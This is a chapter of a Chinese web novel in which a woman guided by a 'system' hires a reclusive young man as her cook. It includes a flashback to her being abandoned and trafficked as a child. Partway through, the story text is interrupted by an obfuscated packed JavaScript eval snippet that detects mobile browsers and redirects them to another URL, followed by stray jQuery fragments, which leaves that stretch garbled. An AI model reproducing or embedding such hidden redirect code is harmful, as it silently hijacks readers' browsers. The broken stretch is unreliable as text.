饭后,艾加珩主动提出要包揽所有碗筷的收拾工作。
“真的?”
“嗯,这是我应该做的。”艾加珩很有效率地,已经捋起袖子,露出那节苍白如A4纸的手,刷起碗。
吉尔耳无辜:【这可是他自己要求的。】
系统沉默了一会,发出机械声:【101号似乎乐于此状。】
【只要能秉持着暂时和谐相处的原则,怎样都可以。顺了祖宗的意思,不是更好。】
汤足饭饱泛起困来,吉尔耳托着腮观察艾加珩。肩宽窄腰,背脊挺拔,周身萦绕着一股仙人出尘的气质,与他此刻围着围裙洗碗的模样,形成了一种奇妙的反差。
这般年纪,长得好看、不抽烟,还能把饭菜做得这般可口的男生,真是稀有品种了。
而且看他熟稔的样子像是经常自己做这些事。
她好奇地问了一句:“你还有在读书吗?”
洗碗的手顿了一下,艾加珩如实道:“暂时休学了。”
吉尔没有很惊讶。这祖宗一看就是在躲着什么人过日子,连安稳活下去都要拼尽全力,又何谈安安稳稳地上学读书。
她不禁打了个哈欠,变成双手托腮。
“读的哪个学校呢?”
“A大。”
“……”
还以为对方和自己一样都没上大学呢,结果人家是985高材生!
学渣吉尔耳沉默了,狗统专门给她分配学霸吗?
不对,许仝不是学霸。
不管如何,她想到刚才那顿美味晚餐,仍然意犹未尽。
【统子,我第一次觉得你如此顺眼。】
系统:你童子你全家童子……
“你如果还想上学的话,我可以帮你。”
艾加珩一听,骤然停下手中的洗碗活儿:“不需要,你没义务帮我,我欠你的人情我也会想办法还。”
闷声冷语的语气。
典型的口是心非、别扭、拧巴性格。这种类型的任务对象属于“特麻烦”级别。
以往,系统也经常会发布类似施舍流浪汉、赞助留守儿童、帮助受困人群等像是日行一善的慈善任务,但这些人无一不例外,都很干脆地接受了她的帮助,且十分享受被施于援手无需回报的感觉。
在吉尔耳看来,他们的反应才是人之常情。人在黑暗中抓到一束光都会想方设法紧紧抓着不放,管那是和善的光还会刺伤你的光。
在黑暗里待久了,谁都渴望光,哪怕只是一点点。
但艾加珩不一样,因为原生环境,他谨小慎微,猜忌人与人之间的关系,也害怕无故接受别人帮忙。
既然如此,只能换种方式。
“抱歉,是我没说清楚。”她笑着温和道,“我很喜欢你煮的东西,如果你愿意的话,我想请你当我的饮食管家,我提供你基本的衣食住行。”
她面上即使在笑,眼睛却依旧像波澜不惊的平静湖面,翻不起一点波浪。
她一直都在演戏,装好人,迁就他。
他想不明白,“所以我们是雇佣关系?”
“嗯,是雇佣关系。我不会下厨,所以一日三餐都是吃外卖,胃经常闹问题。这次机缘巧合捡到你,你刚好又会下厨,我刚好还喜欢你的厨艺,这真再好不过。我觉得你若能收起戒心同意留下来,我会很感激。”
吉尔耳觉得自己已经将说谎这刻在基因里面,面不改色,行云流水地圆谎,说清两人是雇佣关系,她出钱他出力,他并不是不劳而获地得到帮助,是需要付出劳动力的。
所以这样的理由够了吧。
“我这离A大挺近,所以,如果你想复学的话,我可以帮你。”
那抹温和的假笑刺进艾加珩的眼睛,他不想再深究其原因,沉声道:“谢谢。”
【艾加珩好感值+1】
哦豁?
吉尔耳:【这是答应了?】
系统:【恭喜101号,任务对象答应了!】
雇佣关系远比其他奇怪的关系要好,还能留住人。
吉尔耳心情愉悦,屁股从餐厅椅子挪到了沙发,人懒懒地陷进去,闭眼睡了过去。
她又梦见了第一世里,哭得最绝望的那段时光。
六岁那年,她被亲生父母亲手抛弃,丢在一个连名字都不知道的陌生地方。
她只记得,自己没日没夜地哭。为了不被饿死,每天掏垃圾桶馊掉的食物吃,用骨瘦如柴的双手盛雨水喝,偶尔抓到虫子、蟑螂,也闭着眼塞进嘴里。吃了就睡,睡醒了就继续哭,哪儿也不肯去,就坐在被父母丢弃的地方等父母来接她回家。
可一天又一天,她最后也没等来父母,却等来几个面目凶戾的陌生人。他们二话不说,直接将她塞进麻袋,棍棒落下,她眼前一黑便失去了意识。
再醒来时,她已经被卖上了一艘渔船。
“那对父母卖得就是这女娃,赶紧扔去渔船,虽然瘦了点,但那边缺人缺得紧,先送过去再说。”
“特么别那么用力扔,等下人死了!”
昏迷前,听到几个大叔的对话她才知道,原来爸妈不要她了。
可是为什么呢?是因为妈妈生了弟弟,觉得她成麻烦了吗?
可是她都有乖乖听话,饭也吃得很少,还努力帮忙做家务。
为什么呢?
她不明白。
那是一艘能装百人的大渔船,船上有很多和她一样,瘦骨如柴面黄肌瘦的未成年人,每天几乎没有睡觉的时间,从早到晚被逼着不停工作。
有一次,她神情恍惚地拖着渔网快要睡着时,同船一位心软的姐姐好心告诫她:“喂,在这儿再累也不能睡死过去!一旦睡着,就会被人再次卖掉!记住!”
她含着泪点头,试图强撑住眼皮不让自己睡着,可是连续干了几天活、几乎没合上眼也没吃东西,她早已没力气。
最后她眼前一黑,还是累得倒地不起。
再次睁眼时,四周一片漆黑、逼仄且潮湿恶臭。她被困在一个小箱子里面,手脚完全伸展不开只能蜷缩着。
她暗无天日地在里面度过不知道多久,没人听得到她无助恐惧的哭闹喊叫,没人理会她,她只能靠喝自己的排泄物活下去。
那时候她才真正意识到她被父母彻底抛弃了,说什么会哭的孩子有糖吃,全是骗人的。
哭闹只会消耗她仅存不多的体力,让她更快走向死亡。
当她再次看到光的时候,已经虚脱得差点死掉,她使劲眯开一条缝,看到高高在上的那些人点着手中的钱嫌恶地将她扔给另一个人。
原来,她又被转手卖掉了。
……
“嗡嗡嗡”——放在吉尔耳身上的手机轻微震动了一下,来了一条新的短信。
吉尔耳满身冷汗地醒过来,缓了好一会,她拿过手机看了一眼:上个月的试镜通过了。
这是系统每年必定会发布的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501718|202770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任务:随便参演一部电视剧。只要她有参演,就算是个看不清脸蛋的路人甲也算任务完成。
如果说系统让她做善事是为了积累阴德,那这个任务执行的意义在哪里?
呵呵,在狗统那清奇的脑洞里。
系统炸毛:【请勿侮辱本统!】
吉尔耳摊手:【请勿对号入座。】
有时候,吉尔耳真觉得自己就是陪着系统在胡闹人生。
关上手机后,她转头看向已经洗完碗的艾加珩,突然有了一个想法。
或许,她可以多带个人跟自己做没有意义的事。
正想着,一个高大的身影骤然盖住她的视线:“这是今天购物的清单票据和剩下的钱。”
吉尔耳完全没看,也没伸手去接,决定落实心中想法。
“这些钱你留着。下个月和我去B市吧,帮我个忙,到时候我会按天给你其他薪酬。”
见他还是有点警惕,吉尔耳拿出手机,给他看了短信:“我下个月要去这个剧组拍戏。”
是偶像剧“二次恋爱”角色试镜通过的短信。
因为偶尔会关注围脖,所以艾加珩知道,这是部由MS集团千金宋燕燕和当红男演员夏家豪领携主演的偶像剧,之前很多次都上过微博热搜。
这部剧预热营销大半年,现在终于要开拍了。
“其实就一场戏,但是是我和女主的对戏,所以想让你在远处帮忙录下我和她对戏这个过程。”吉尔耳说着用双手比了个拍摄的姿势,“你到时候的角色就是摄像师,如果你不懂也没事,我会让你教你。”
“可以吗?如果你觉得不便的话……”
以退为进,然后就会等来。
“我做。”吉尔耳后面的话还没说出来,艾加珩就回应了她。
吉尔耳意料之中,得到回答后,“嗖”地一下起身走到衣帽间换了身酷飒的衣服出来。
“走,外套穿上,我带你去买新手机,顺便看看你还有什么需要的东西。”
艾加珩愣了一下,清俊的眉间微拢,“你能收留我,我已经很感谢,我不能再接受你其他东西。”
“我给员工一点基本福利,不是很正常吗?”
吉尔耳是个行动派,既然两人关系是长期共存的同居人,那么他该有的东西还是要有的。
“可是。”
艾加珩还想推脱,但最后还是拗不过吉尔耳,更何况吉尔耳力气还比他大,他最后完全是被推着走出房门,被拉着手腕一起走到地下室,再同她一起进了车,坐上她的副驾驶座位。
一路沉默不语、战战兢兢地跟着她来到了郊区周边的中港世界城。
人来人往的商场里,吉尔耳和艾加珩这对俊男美女无非是道靓丽的风景,不断吸引别人的目光。
特别是艾加珩,即使戴着鸭舌帽遮住了一半脸,还是有很多年轻女孩盯着他瞧。
有些人生来就是老天爷赏饭吃,就像艾加珩,举手投足之间都显露出他自身配置的优越气质,越是神秘越引人注目,所以惹得许多女生频频回头窃窃私语。
对于别人的目光,习以为常的吉尔耳自是视若无睹,但艾加珩显然不习惯这样直勾勾的目光,不断压低帽子,渐渐粘着吉尔耳走,试图寻求安全感。
吉尔耳察觉到他的异样后,突然停下脚步,牵住他的手,微笑着看向几名视线特别灼热的女生:“抱歉,我男朋友不习惯被人盯着看,所以麻烦大家了,谢谢。”